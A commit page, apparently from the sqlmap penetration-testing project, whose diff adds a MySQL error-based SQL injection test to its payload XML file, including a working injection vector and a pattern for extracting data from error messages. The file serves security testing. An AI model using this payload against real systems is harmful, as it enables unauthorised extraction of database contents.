Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 13b522e

Browse files
committed
Added error-based support for MySQL < 5.0 - closes #14
1 parent 5aafd19 commit 13b522e

1 file changed

Lines changed: 20 additions & 0 deletions

File tree

xml/payloads.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -889,6 +889,26 @@ Formats:
889889
</details>
890890
</test>
891891

892+
<test>
893+
<title>MySQL OR error-based - WHERE clause</title>
894+
<stype>2</stype>
895+
<level>2</level>
896+
<risk>2</risk>
897+
<clause>1</clause>
898+
<where>2</where>
899+
<vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector>
900+
<request>
901+
<payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload>
902+
<comment>#</comment>
903+
</request>
904+
<response>
905+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
906+
</response>
907+
<details>
908+
<dbms>MySQL</dbms>
909+
</details>
910+
</test>
911+
892912
<test>
893913
<title>PostgreSQL OR error-based - WHERE clause</title>
894914
<stype>2</stype>

0 commit comments

Comments
 (0)